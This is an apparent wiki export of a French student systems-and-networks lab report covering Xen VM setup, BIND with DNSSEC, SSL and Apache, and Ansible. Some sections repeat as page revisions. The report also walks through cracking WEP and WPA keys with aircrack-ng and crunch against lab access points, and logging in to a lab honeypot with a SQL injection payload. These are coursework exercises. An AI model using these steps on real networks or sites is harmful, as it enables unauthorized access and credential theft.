AEcwRQIhAO17SRAY2GGTqlDqcIh5GPYmysEZ+9EQHNT4eGVA07GZAiB3jV1h/WvJ<br />
JjLamcWvZ5x4iMh2ZETtf33uRB6bQbXzKQB2AEHIyrHfIkZKEMahOglCh15OMYsb<br />
A+vrS8do8JBilgb2AAABfbQsDeMAAAQDAEcwRQIgbVz8muFonTu/DeOopCHEUpd1<br />
5ckL7I9Bhu/2zLVeYzICIQCSkK2o0vMoGW99Gq9BjBtE/RO7kueJTF/COlPbIBfB<br />
DwB1ACl5vvCeOTkh8FZzn2Old+W+V32cYAr4+U1dJlwlXceEAAABfbQsDbUAAAQD<br />
AEYwRAIgCzAQUVKGb8EvqQ+WCALDrjvNTqf2DY4fUk06qeEAIVkCIBHbOUioDNnV<br />
UsEiUkXXtTOYVQlea94BtE5oYFjBqH3aMA0GCSqGSIb3DQEBCwUAA4IBAQCA4+9H<br />
XoMkIkagjr+TNxb4BXtruGyGGrx0MUWWjvcb3djn/8QCDLCwP6+BTVQEk2DP31v5<br />
B4GNeWiNmI1QjprzjlLSQyWeauTdRDoAS+mxhsaPBtT3QmHbyVdnnPSeUmDKznr9<br />
TEEfeGmPW/l0TiLc9yYrIyix6Ixb82qvL4BkfFkqk08lEstjimReU5Ma6zj85Q3X<br />
cvpT+Zav8mYMBAjJocgdTZYsiydajuv8h3I+EL5B5KxgFbvPtUySsPJwmLZ2pama<br />
7zsTzgYhdjL6LasHLxT9PIKYzp4WiNGRvpYbvnimWDZJzyYNLbw+ZSeZoS9DSzhY<br />
e0D4Wcue+OV6y/j2<br />
-----END CERTIFICATE-----<br />
subject=CN = corona59.club <br />
<br />
issuer=C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
<br />
---<br />
No client certificate CA names sent<br />
Peer signing digest: SHA256<br />
Peer signature type: RSA-PSS<br />
Server Temp Key: X25519, 253 bits<br />
---<br />
SSL handshake has read 3674 bytes and written 363 bytes<br />
Verification: OK<br />
---<br />
New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384<br />
Server public key is 2048 bit<br />
Secure Renegotiation IS NOT supported<br />
Compression: NONE<br />
Expansion: NONE<br />
No ALPN negotiated<br />
Early data was not sent<br />
Verify return code: 0 (ok)<br />
---<br />
---<br />
Post-Handshake New Session Ticket arrived:<br />
SSL-Session:<br />
Protocol : TLSv1.3<br />
Cipher : TLS_AES_256_GCM_SHA384<br />
Session-ID: 5376D0C56EE60841482046ED97C0C303438A2BF5262A7391D15559996425B7AF<br />
Session-ID-ctx: <br />
Resumption PSK: A881594DA00CCD5FF520055864E880EE6D2CB48C6125BC72DEA6A5F8DBD8C6EBEC1853DC5C886744211D4EE130C26382<br />
PSK identity: None<br />
PSK identity hint: None<br />
SRP username: None<br />
TLS session ticket lifetime hint: 300 (seconds)<br />
TLS session ticket:<br />
0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db 4......4.6/...h.<br />
0010 - 01 f2 eb fd 4e f3 f4 88-6a d6 46 5e 8e f6 b9 d2 ....N...j.F^....<br />
0020 - bd a2 4c 42 95 fd 4a a7-c3 38 b0 7d b5 5b 33 50 ..LB..J..8.}.[3P<br />
0030 - 6b 91 1e 69 e3 57 7d 1a-bb 0c 9d 75 f2 b6 c2 b6 k..i.W}....u....<br />
0040 - c3 73 f7 a7 45 b8 15 83-62 9e 47 1b f4 b0 f8 62 .s..E...b.G....b<br />
0050 - 26 5f aa 92 fd d1 c6 54-55 56 2c a6 13 42 b5 b0 &_.....TUV,..B..<br />
0060 - cc 5c c5 98 2f 11 69 28-ee 16 84 46 69 ec c4 75 .\../.i(...Fi..u<br />
0070 - b4 aa 3b 28 fb 84 1f cb-82 82 93 52 fe a8 2f 28 ..;(.......R../(<br />
0080 - c7 2c 18 9f 9e e3 d2 44-b1 f8 a6 5b ae 6c 6b f7 .,.....D...[.lk.<br />
0090 - a1 30 c9 af ad a8 92 4e-d9 af d8 3d 83 01 4c ec .0.....N...=..L.<br />
00a0 - 4a fa fe c8 d9 ab ca 47-b1 5e be 87 e3 5f fc aa J......G.^..._..<br />
00b0 - c3 04 a6 49 84 e8 9d ad-84 73 22 e0 ca 15 1d 12 ...I.....s".....<br />
00c0 - d8 3f b1 24 b4 dc 52 a1-31 93 69 44 87 c5 ca a0 .?.$..R.1.iD....<br />
00d0 - 97 33 4d a9 dc 3f 01 0e-f1 28 c7 b7 6d 2f 0c 85 .3M..?...(..m/.. <br />
<br />
Start Time: 1639409551<br />
Timeout : 7200 (sec)<br />
Verify return code: 0 (ok)<br />
Extended master secret: no<br />
Max Early Data: 0<br />
---<br />
read R BLOCK<br />
---<br />
Post-Handshake New Session Ticket arrived:<br />
SSL-Session:<br />
Protocol : TLSv1.3<br />
Cipher : TLS_AES_256_GCM_SHA384<br />
Session-ID: 120904F1719C24AC422635D7ADA4AC0F8B7BF31269BA9EC9E0FA04E8D2168C67<br />
Session-ID-ctx: <br />
Resumption PSK: 567CB793FE3B443C920AA3FCC5AA856EE38847E69A75CE53DB7545B1FD8470F3441ABDA3037A5F52D6A83F6CF56E3C80<br />
PSK identity: None<br />
PSK identity hint: None<br />
SRP username: None<br />
TLS session ticket lifetime hint: 300 (seconds)<br />
TLS session ticket:<br />
0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db 4......4.6/...h.<br />
0010 - b6 8d cb 01 84 ee 6b 2d-85 46 99 50 22 28 a9 c5 ......k-.F.P"(..<br />
0020 - 24 5c 27 40 06 58 d5 b7-af 41 97 ef 21 a3 93 e0 $\'@.X...A..!...<br />
0030 - ec ac a1 0c d2 f3 e3 10-bb 54 ae 1f 70 e3 e0 4e .........T..p..N<br />
0040 - 48 88 aa 03 ab 93 f9 60-6d 8f a4 ab 18 08 30 90 H......`m.....0.<br />
0050 - 68 5a 96 00 bd eb a9 d4-b8 24 9f 21 27 36 c4 29 hZ.......$.!'6.)<br />
0060 - 37 3a 9d 53 d6 2a 26 af-04 d9 c9 d1 6e d2 6b cf 7:.S.*&.....n.k.<br />
0070 - 94 b8 44 cc bc e9 d5 5f-67 83 a7 80 1c 3a b5 55 ..D...._g....:.U<br />
0080 - aa f1 db f4 ec 7f f6 b5-3e 61 9e 6d b3 db da 09 ........>a.m....<br />
0090 - 4d cf 27 0d 9a 52 02 f4-5f b1 80 f7 a7 8e 67 f9 M.'..R.._.....g.<br />
00a0 - a8 d8 90 da 87 ea 63 36-d7 84 a2 f3 06 a5 8f d8 ......c6........<br />
00b0 - 6e 55 d9 86 8f 53 74 b2-74 d0 73 85 f2 f5 e8 b2 nU...St.t.s.....<br />
00c0 - 31 59 c3 c3 ff 22 e3 4f-23 df 9c 89 64 c3 5c 14 1Y...".O#...d.\.<br />
00d0 - dc 99 92 04 4b f5 1e 43-5c 27 da 96 f3 d8 be 9e ....K..C\'...... <br />
<br />
Start Time: 1639409551<br />
Timeout : 7200 (sec)<br />
Verify return code: 0 (ok)<br />
Extended master secret: no<br />
Max Early Data: 0<br />
---<br />
read R BLOCK<br />
closed<br />
<br />
La commande :<br />
apachectl configtest<br />
nous confirme que la config est OK<br />
<br />
<br />
En se connectant à l'adresse https://www.corona59.club/index.html, le navigateur affiche bien notre page d'accueil index.html<br />
<br />
=Securisation du DNS avec DNSSEC =<br />
On souhaite sécuriser notre DNS à l'aide de DNSSEC. Pour ce faire, on génère des clés dans le repertoire /etc/bind/corona59.club.dnssec/ avec <br />
dnssec-keygen -a NSEC3RSASHA1 -b 4096 -f KSK -n ZONE ns.corona59.club<br />
dnssec-keygen -a NSEC3RSASHA1 -b 2048 -n ZONE ns.corona59.club<br />
<br />
on renomme respectivement les fichiers obtenus ksk.{key/private} et zsk.{key/private} <br />
on ajoute dans /etc/bind/db.corona59.club :<br />
$INCLUDE "/etc/bind/corona59.club.dnssec/corona59.club-ksk.key"<br />
$INCLUDE "/etc/bind/corona59.club.dnssec/corona59.club-zsk.key"<br />
<br />
On signe avec la commande :<br />
dnssec-signzone -o ns.corona59.club -k ksk ../db.corona59.club zsk<br />
<br />
on obtient :<br />
Verifying the zone using the following algorithms:<br />
- NSEC3RSASHA1<br />
Zone fully signed:<br />
Algorithm: NSEC3RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked<br />
ZSKs: 1 active, 0 stand-by, 0 revoked<br />
../db.corona59.club.signed<br />
<br />
ainsi qu'un fichier que l'on renomme en corona59.club.signed<br />
Ensuite, on modifie le fichier /etc/bind/named.conf.local pour avoir :<br />
zone "corona59.club" {<br />
type master;<br />
file "/etc/bind/corona59.club.dnssec/corona59.club.signed";<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
<br />
On ajoute ensuite notre clé ksk.key dans l'onglet DNSSEC.<br />
Enfin, on teste que ça fonctionne avec le site 'https://dnssec-analyzer.verisignlabs.com/corona59.club'<br />
<br />
=Test d'intrusion=<br />
<br />
On commence par tenter de casser une clé WEP.<br />
Sur l'ordi bleu, on récupère le nom de l'interface réseau (après avoir fait 'su -' ) :<br />
airmon-ng<br />
<br />
puis on lance (3 représente la channel utilisée)<br />
airmon-ng start NOM_DE_L_INTERFACE 3<br />
<br />
Notre interface est renommée 'wlan0mon' de manière à avoir un nom plus court.<br/><br />
Pour visualiser les paquets sniffés, on execute alors <br />
airodump-ng -c 3 wlan0mon<br />
<br />
On observe plusieurs emetteurs, avec leur BSSID associé.<br />
On choisit d'attaquer cracotte11 dont le BSSID est 04:DA:D2:9C:50:5A<br />
On lance alors la commande : <br />
airodump-ng -w MonFichier -c 3 --bssid 04:DA:D2:9C:50:5A wlan0mon<br />
<br />
Après 5-10 minutes, on met fin au programme avec CTRL+C et on execute :<br />
aircrack-ng MonFichier-01.cap<br />
<br />
Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée.<br />
<br />
<br />
On essaye à présent de casser une clé WPA.<br />
On scanne la bande de fréquence 9 :<br />
airodump-ng -c 9 wlan0mon<br />
On récupère le BSSID de kracotte11 : 44:AD:D9:5F:87:0A<br />
On récupère ensuite des handshakes avec la commande : <br />
airodump-ng -c 9 --bssid 44:AD:D9:5F:87:0A -w MonFichier wlan0mon<br />
Par la suite, on souhaite utiliser l'utilitaire crunch.<br />
apt install crunch<br />
Pour l'installer, il faut une connexion internet. On utilise donc le bridge des zabeth et on configure le fichier /etc/network/interfaces de l'ordi bleu en ajoutant :<br />
auto enp4s0<br />
iface enp4s0 inet static<br />
address 172.26.145.121/24<br />
gateway 172.26.145.254<br />
<br />
Crunch va nous permettre de générer la liste des mots de passe d'exactement 8 chiffres que l'on utilisera pour cracker la clé :<br />
crunch 8 8 0123456789 -o password.lst<br />
<br />
Enfin, on lance la commande :<br />
aircrack-ng -w password.lst -b 44:AD:D9:5F:87:0A MonFichier.cap<br />
<br />
Le processus peut prendre plusieurs heures.<br />
<br />
=Injection SQL=<br />
A l'adresse honey.plil.info, on utilise de l'injection SQL pour obtenir les data backend<br />
Pour ce faire, on met dans la cellule 'identifiant' la valeur <br />
' OR 1 = 1;<br />
Coté backend, la requete SQL effectuée ressemble probablement à<br />
select * from table1 where $id='$CELLULE1' and $password='$CELLULE2';<br />
<br />
En conséquence, notre injection génère la requete :<br />
select * from table1 where $id='' or 1=1; ' and $password='$CELLULE2';<br />
Le premier ';' met fin à la requete. Puisque la condition 1=1 est toujours vraie, on affiche ainsi l'ensemble de la table<br />
On accède ainsi à l'identifiant admin ainsi qu'au mot de passe que l'on utilise pour se connecter.<br />
<br />
=TP ASR=<br />
==Setup SSH==<br />
on télécharge le dossier fourni par Thomas sur 'https://github.com/thomas-maurice/polytech-asr-lab'<br />
on définit une clé SSH et créé un environnement python virtuel : <br />
$ ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -C "your.name@polytech-lille.net" -P ''<br />
<br />
$ python3 -m venv ~/env-ansible<br />
$ . ~/env-ansible/bin/activate<br />
$ pip3 install -U setuptools wheel<br />
$ pip3 install -U ansible<br />
<br />
puis <br />
$ ansible-playbook -v -i inventory polytech.yaml<br />
<br />
Parallèlement, on configure notre VM sur chassiron.plil.info. On utilise comme machine virtuelle celle attribuée à notre groupe (groupe 11) :<br />
$ cd /etc/xen<br />
$ xen create pra-11.cfg<br />
$ xen console pra-11<br />
<br />
On se log dans la VM et on configure l'interface eth0 dans /etc/network/interfaces:<br />
auto eth0<br />
iface eth0 inet static <br />
address 172.26.145.111<br />
netmask 255.255.255.0<br />
network 172.26.145.0<br />
gateway 172.26.145.254<br />
<br />
On <br />
<br />
On s'assure qu'on peut ping l'adresse de la VM depuis la zabeth.<br />
On cherche à configurer automatiquement les clés SSH acceptées par la VM grâce à Ansible. Pour cela, on créé un nouveau role dans le dossier 'roles' que l'on appelle ssh-keys.<br />
On créé les dossiers templates et tasks en se basant sur le dossier base fourni.<br />
---<br />
- hosts: all<br />
roles:<br />
# installs the `ssh_keys` role onto the targetted host<br />
- role: ssh_key<br />
tags: ssh_key<br />
<br />
On change également dans polytech.yaml les roles que l'on souhaite appeller au lancement de Ansible (on remplace base par ssh_key)<br />
PRA-11 ansible_ssh_host="172.26.145.111"<br />
<br />
<br />
Dans inventory, on spécifie le nom de la machine ainsi que l'adresse ip de cette dernière<br />
On doit également ajouter une task afin de patch la distro BullsEye que l'on utilise sur la VM :<br />
#<br />
# /etc/apt/sources.list<br />
#<br />
#<br />
# bullseye<br />
#<br />
deb http://deb.debian.org/debian bullseye main contrib non-free<br />
deb-src http://deb.debian.org/debian bullseye main contrib non-free<br />
# <br />
# Security updates<br />
# <br />
deb http://security.debian.org/debian-security bullseye-security main contrib non-free<br />
<br />
On installe enfin python3 sur la VM, nécessaire pour le déploiment.</div>Cgodet1https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&diff=57955TP sysres IMA5 2021/2022 G112022-01-12T11:52:11Z<p>Cgodet1 : /* TP ASR */</p>
<hr />
<div>=Creation de la machine virtuelle=<br />
<br />
Tout d'abord, s'il y a un problème de proxy, taper la commande :<br />
export http_proxy=http://proxy.plil.fr:3128<br />
Cela indique l'adresse du proxy à utiliser pour les requetes HTTP, HTTPS, FTP et autres joyeusetés.<br />
<br />
On souhaite déployer une machine virtuelle sur l'hyperviseur Capbreton<br />
Pour ce faire, on se connecte d'abord en SSH sur root@capbreton<br />
On créé ensuite un répertoire dans /usr/local/xen en choisissant un nom en rapport avec le thème choisi : la bière.<br />
J'ai choisi la bière 'Corona' en référence aux temps sombres et incertains que nous vivons, tout en me rappellant que c'est après les nuits les plus somrbes que l'aurore apparait la plus rayonnante.<br />
<br />
La creation de la VM requiert de fixer l'ip et le masque de sous-réseau. On se base sur les ips que nous avons fixé après concertation.<br />
On précise également le nom de la machine, le mot de passe, la distribution et l'emplacement des fichiers de la VM.<br />
<br />
xen-create-image --hostname=Corona --ip=193.48.57.186 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye<br />
<br />
On créé ensuite 2 volumes logiques dans le répertoire /dev/storage :<br />
<br />
lvcreate -L10G -n Corona1 storage<br />
lvcreate -L10G -n Corona2 storage<br />
<br />
On les formate en ext4 :<br />
<br />
mkfs.ext4 /dev/storage/Corona1<br />
mkfs.ext4 /dev/storage/Corona2<br />
<br />
Enfin, on modifie le fichier /etc/xen/Corona.cfg :<br />
<br />
disk = [<br />
'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',<br />
]<br />
<br />
devient :<br />
<br />
disk = [<br />
'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',<br />
'phy:/dev/storage/Corona1,xvda3,w',<br />
'phy:/dev/storage/Corona2,xvda4,w',<br />
]<br />
<br />
et <br />
<br />
vif = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC' ]<br />
<br />
devient :<br />
<br />
vif = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC ,bridge=IMA5sc' ]<br />
<br />
<br />
Pour lancer la VM, on execute :<br />
<br />
xl create -c /etc/xen/Corona.cfg<br />
<br />
<br />
Dans la VM, on visualise les informations relatives au file system avec la commande :<br />
<br />
cat /etc/fstab<br />
<br />
xvda1 et xvda2 apparaissent mais pas xvda3 et xvda4. On les créer avec :<br />
<br />
mkdir /mnt/xvda3<br />
mkdir /mnt/xvda4<br />
mount /dev/xvda3 /mnt/xvda3<br />
mount /dev/xvda4 /mnt/xvda4<br />
<br />
On va utiliser xvda4 pour stocker le dossier var, et xvda3 pour stocker home :<br />
<br />
mv /var/* /mnt/xvda4<br />
<br />
Puis dans /etc/fstab, on ajoute :<br />
<br />
/dev/xvda3 /home ext4 defaults 0 2<br />
/dev/xvda4 /var ext4 defaults 0 2<br />
<br />
Ensuite, on execute : <br />
<br />
mount -a<br />
<br />
Enfin, on vérifie que les partitions ajoutées existent : <br />
<br />
lsblk<br />
<br />
<br />
On ajoute ensuite la ligne suivante dans /etc/network/interfaces :<br />
<br />
iface eth0 inet6 auto <br />
<br />
On applique les changements en redemarrant : <br />
<br />
systemctl restart networking<br />
<br />
On vérifie que la modification a eu lieu :<br />
<br />
ip a<br />
<br />
<br />
Raccourci pour quitter la VM : CTRL + ']'<br/><br />
Commande pour se connecter à la VM : xen console Corona<br />
<br />
=Configuration de la VM=<br />
A présent, on configure la VM.<br />
On installe openssh-server s'il n'est pas installé :<br />
apt install openssh-server<br />
On édite ensuite dans le fichier /etc/ssh/sshd_config les lignes :<br />
PermitRootLogin without-password<br />
PubkeyAuthentication yes<br />
<br />
Puis on recharge la configuration avec :<br />
systemctl reload ssh<br />
<br />
Sur la zabeth, on créé une clé ssh avec :<br />
ssh-keygen -t ed25519<br />
<br />
On copie la clé publique que l'on vient de générer pour la coller dans le fichier ~/.shh/authorized_keys de la VM.<br />
Coté zabeth, on peut alors se connecter à la machine virtuelle directement en ssh grâce à la commande : <br />
ssh -o "IdentitiesOnly=yes" -i ma_cle_privée root@193.48.57.186<br />
<br />
<br />
=Déploiement site=<br />
On achète le nom de domaine 'corona59.club' sur Gandi.net<br />
Toujours sur Gandi.net, on configure le Glue Record de notre nom de domaine en indiquant que notre nameserver s'appelle ns.corona59.club et qu'il se trouve à l'adresse 193.48.57.186.<br />
On configure également notre nameserver dans Domain > MON_NOM_DE_DOMAINE > nameservers<br />
On ajoute un nameserver externe. En premier on met "ns.corona59.club", en deuxième on met "ns6.gandi.net"<br />
<br />
<br />
On installe ensuite bind sur la vm :<br />
apt install bind9<br />
et on vient modifier /etc/resolv.conf pour utiliser notre propre serveur de nom :<br />
nameserver 193.48.57.186<br />
(peut etre utiliser 127.0.0.1, mais je suis pas sûr)<br />
On modifie ensuite /etc/bind/named.conf.local :<br />
zone MON_NOM_DE_DOMAINE {<br />
type master;<br />
file "/etc/bind/db.MON_NOM_DE_DOMAINE<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
l'adresse "217.70.177.40" correspond au nameserver de Gandi.net et nous sert de nom de serveur secondaire. Ainsi, lorsque notre nameserver ne sait pas à quelle IP correspond un nom, il interroge Gandi.<br />
<br />
On créé ensuite le fichier /etc/bind/db.corona59.club :<br />
$TTL 604800<br />
@ IN SOA ns.corona59.club postmaster.corona59.club. (<br />
4 ; Serial<br />
604800 ; Refresh<br />
86400 ; Retry<br />
2419200 ; Expire<br />
604800 ) ; Negative Cache TTL<br />
;<br />
@ IN NS ns.corona59.club.<br />
@ IN NS ns6.gandi.net.<br />
<br />
On ajoute au fichier /etc/bind/db.corona59.club :<br />
ns IN A 193.48.57.186<br />
www IN A 193.48.57.186<br />
IN AAAA 2001:7a8:116e:60b0:216:3eff:feae:eaec<br />
<br />
On teste que notre configuration est correcte :<br />
host -t any ns.corona59.club localhost<br />
On obtient :<br />
Using domain server:<br />
Name: localhost<br />
Address: 127.0.0.1#53<br />
Aliases: <br />
<br />
corona59.club has SOA record ns.corona59.club.corona59.club. postmaster.corona59.club. 4 604800 86400 2419200 604800<br />
corona59.club name server ns.corona59.club.<br />
corona59.club name server ns6.gandi.net.<br />
<br />
Si on obtient pas ça, penser à lancer la commande :<br />
tail -50 /var/log/daemon.log<br />
afin de voir ce qui c'est mal passé.<br />
<br />
A chaque modification des fichiers du repertoire /etc/bind, penser à relancer bind avec <br />
service bind9 restart<br />
<br />
=Certificat SSL=<br />
Pour obtenir un certificat SSL, on tape :<br />
openssl req -nodes -newkey rsa:2048 -sha256 -keyout corona59.club.key -out corona59.club.csr <br />
On rentre ensuite les informations demandées par l'utilitaire (adresse mail, pays, etc). Il faut faire bien attention à rentrer le nom de domaine dans "Common Name"<br />
Un fichier .csr et .key sont créés.<br />
On copie-colle le contenu du fichier .csr dans Gandi pour créer un certificat à l'adresse : https://shop.gandi.net/en/0f32d906-a208-11e7-9da6-00163e61ef31/certificate/create<br />
On choisit une procédure de validation (j'ai choisi DNS). Une fois le certificat validé, on peut télécharger le fichier .crt généré par Gandi que l'on place dans le répertoire /etc/ssl/certs/ de la VM. On télécharge également le certificat intermédiaire généré par Gaandi que l'on place dans le même répertoire.<br />
<br />
=Serveur web=<br />
Pour déployer un serveur web, on installe apache2. On utilise ensuite l'utilitaire a2enmod pour activer les modules apache qui nous interessent.<br />
a2enmod ssl<br />
<br />
On créé le répertoire corona59.club dans /var/www/ ainsi que le fichier de configuration /etc/apache2/sites-available/000-corona59.club-ssl.conf :<br />
<br />
<VirtualHost 193.48.57.186:443><br />
ServerName corona59.club<br />
ServerAlias www.corona59.club<br />
DocumentRoot /var/www/corona59.club/<br />
CustomLog /var/log/apache2/secure_access.log combined<br />
<br />
SSLEngine on<br />
SSLCertificateFile /etc/ssl/certs/corona59.club.crt<br />
SSLCertificateKeyFile /etc/ssl/corona59.club.key<br />
SSLCACertificateFile /etc/ssl/certs/GandiStandardSSLCA2.pem<br />
SSLVerifyClient None<br />
</VirtualHost><br />
<br />
On active notre site avec la commande :<br />
a2ensite 000-corona59.club-ssl <br />
<br />
On édite le fichier /etc/apache2/apache2.conf en rajoutant <br />
ServerName corona59.club<br />
<br />
On relance apache :<br />
systemctl reload apache2<br />
<br />
On teste le fonctionnement avec :<br />
openssl s_client -connect 193.48.57.186:443<br />
<br />
CONNECTED(00000003)<br />
Can't use SSL_get_servername<br />
depth=2 C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority<br />
verify return:1<br />
depth=1 C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
verify return:1<br />
depth=0 CN = corona59.club<br />
verify return:1<br />
---<br />
Certificate chain<br />
0 s:CN = corona59.club<br />
i:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
1 s:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
i:C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority<br />
---<br />
Server certificate<br />
-----BEGIN CERTIFICATE-----<br />
MIIGODCCBSCgAwIBAgIRANSBYLR9JBGxmC8RQbK0N1QwDQYJKoZIhvcNAQELBQAw<br />
XzELMAkGA1UEBhMCRlIxDjAMBgNVBAgTBVBhcmlzMQ4wDAYDVQQHEwVQYXJpczEO<br />
MAwGA1UEChMFR2FuZGkxIDAeBgNVBAMTF0dhbmRpIFN0YW5kYXJkIFNTTCBDQSAy<br />
MB4XDTIxMTIxMzAwMDAwMFoXDTIyMTIxMzIzNTk1OVowGDEWMBQGA1UEAxMNY29y<br />
b25hNTkuY2x1YjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALUUeFaW<br />
oimeIzBDolopsjlg2G0Q7qT24rPjh6a5BMp1tvCkKhV/3rCHzQSu6n4sK1qls0FB<br />
OqlddzYxV9qO38POg72/mBcXHs+fuEN46tCTl7Py+Zg5nOlaMjCB/F7MUZsFoSuf<br />
erRb0gmiCpXorXL+FUteOapZzCcpInFS56fIX1plipIP81RD//MZ4NFPDFRWHU1f<br />
D1Mm5xw3WIPFEVdqNvQHhUm0yNf9QEY7lV9pf7FXAX6ZBPvUYTaNMRkbfKkNgjrs<br />
0T3aIAq+48UdLAk+miFFUH9UyM4BF/R76SItZ7NFhTNrdvXkzbPKNnWzvh8yb2Zh<br />
Nk/g6taWKSK29RsCAwEAAaOCAzQwggMwMB8GA1UdIwQYMBaAFLOQp9jJr07NYTyf<br />
fK1df0H9aTDqMB0GA1UdDgQWBBQphH/Ob2j83ZRdroQhFgvI3wjsyjAOBgNVHQ8B<br />
Af8EBAMCBaAwDAYDVR0TAQH/BAIwADAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYB<br />
BQUHAwIwSwYDVR0gBEQwQjA2BgsrBgEEAbIxAQICGjAnMCUGCCsGAQUFBwIBFhlo<br />
dHRwczovL2Nwcy51c2VydHJ1c3QuY29tMAgGBmeBDAECATBBBgNVHR8EOjA4MDag<br />
NKAyhjBodHRwOi8vY3JsLnVzZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENB<br />
Mi5jcmwwcwYIKwYBBQUHAQEEZzBlMDwGCCsGAQUFBzAChjBodHRwOi8vY3J0LnVz<br />
ZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENBMi5jcnQwJQYIKwYBBQUHMAGG<br />
GWh0dHA6Ly9vY3NwLnVzZXJ0cnVzdC5jb20wKwYDVR0RBCQwIoINY29yb25hNTku<br />
Y2x1YoIRd3d3LmNvcm9uYTU5LmNsdWIwggF9BgorBgEEAdZ5AgQCBIIBbQSCAWkB<br />
ZwB2AEalVet1+pEgMLWiiWn0830RLEF0vv1JuIWr8vxw/m1HAAABfbQsDh0AAAQD<br />
AEcwRQIhAO17SRAY2GGTqlDqcIh5GPYmysEZ+9EQHNT4eGVA07GZAiB3jV1h/WvJ<br />
JjLamcWvZ5x4iMh2ZETtf33uRB6bQbXzKQB2AEHIyrHfIkZKEMahOglCh15OMYsb<br />
A+vrS8do8JBilgb2AAABfbQsDeMAAAQDAEcwRQIgbVz8muFonTu/DeOopCHEUpd1<br />
5ckL7I9Bhu/2zLVeYzICIQCSkK2o0vMoGW99Gq9BjBtE/RO7kueJTF/COlPbIBfB<br />
DwB1ACl5vvCeOTkh8FZzn2Old+W+V32cYAr4+U1dJlwlXceEAAABfbQsDbUAAAQD<br />
AEYwRAIgCzAQUVKGb8EvqQ+WCALDrjvNTqf2DY4fUk06qeEAIVkCIBHbOUioDNnV<br />
UsEiUkXXtTOYVQlea94BtE5oYFjBqH3aMA0GCSqGSIb3DQEBCwUAA4IBAQCA4+9H<br />
XoMkIkagjr+TNxb4BXtruGyGGrx0MUWWjvcb3djn/8QCDLCwP6+BTVQEk2DP31v5<br />
B4GNeWiNmI1QjprzjlLSQyWeauTdRDoAS+mxhsaPBtT3QmHbyVdnnPSeUmDKznr9<br />
TEEfeGmPW/l0TiLc9yYrIyix6Ixb82qvL4BkfFkqk08lEstjimReU5Ma6zj85Q3X<br />
cvpT+Zav8mYMBAjJocgdTZYsiydajuv8h3I+EL5B5KxgFbvPtUySsPJwmLZ2pama<br />
7zsTzgYhdjL6LasHLxT9PIKYzp4WiNGRvpYbvnimWDZJzyYNLbw+ZSeZoS9DSzhY<br />
e0D4Wcue+OV6y/j2<br />
-----END CERTIFICATE-----<br />
subject=CN = corona59.club <br />
<br />
issuer=C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
<br />
---<br />
No client certificate CA names sent<br />
Peer signing digest: SHA256<br />
Peer signature type: RSA-PSS<br />
Server Temp Key: X25519, 253 bits<br />
---<br />
SSL handshake has read 3674 bytes and written 363 bytes<br />
Verification: OK<br />
---<br />
New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384<br />
Server public key is 2048 bit<br />
Secure Renegotiation IS NOT supported<br />
Compression: NONE<br />
Expansion: NONE<br />
No ALPN negotiated<br />
Early data was not sent<br />
Verify return code: 0 (ok)<br />
---<br />
---<br />
Post-Handshake New Session Ticket arrived:<br />
SSL-Session:<br />
Protocol : TLSv1.3<br />
Cipher : TLS_AES_256_GCM_SHA384<br />
Session-ID: 5376D0C56EE60841482046ED97C0C303438A2BF5262A7391D15559996425B7AF<br />
Session-ID-ctx: <br />
Resumption PSK: A881594DA00CCD5FF520055864E880EE6D2CB48C6125BC72DEA6A5F8DBD8C6EBEC1853DC5C886744211D4EE130C26382<br />
PSK identity: None<br />
PSK identity hint: None<br />
SRP username: None<br />
TLS session ticket lifetime hint: 300 (seconds)<br />
TLS session ticket:<br />
0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db 4......4.6/...h.<br />
0010 - 01 f2 eb fd 4e f3 f4 88-6a d6 46 5e 8e f6 b9 d2 ....N...j.F^....<br />
0020 - bd a2 4c 42 95 fd 4a a7-c3 38 b0 7d b5 5b 33 50 ..LB..J..8.}.[3P<br />
0030 - 6b 91 1e 69 e3 57 7d 1a-bb 0c 9d 75 f2 b6 c2 b6 k..i.W}....u....<br />
0040 - c3 73 f7 a7 45 b8 15 83-62 9e 47 1b f4 b0 f8 62 .s..E...b.G....b<br />
0050 - 26 5f aa 92 fd d1 c6 54-55 56 2c a6 13 42 b5 b0 &_.....TUV,..B..<br />
0060 - cc 5c c5 98 2f 11 69 28-ee 16 84 46 69 ec c4 75 .\../.i(...Fi..u<br />
0070 - b4 aa 3b 28 fb 84 1f cb-82 82 93 52 fe a8 2f 28 ..;(.......R../(<br />
0080 - c7 2c 18 9f 9e e3 d2 44-b1 f8 a6 5b ae 6c 6b f7 .,.....D...[.lk.<br />
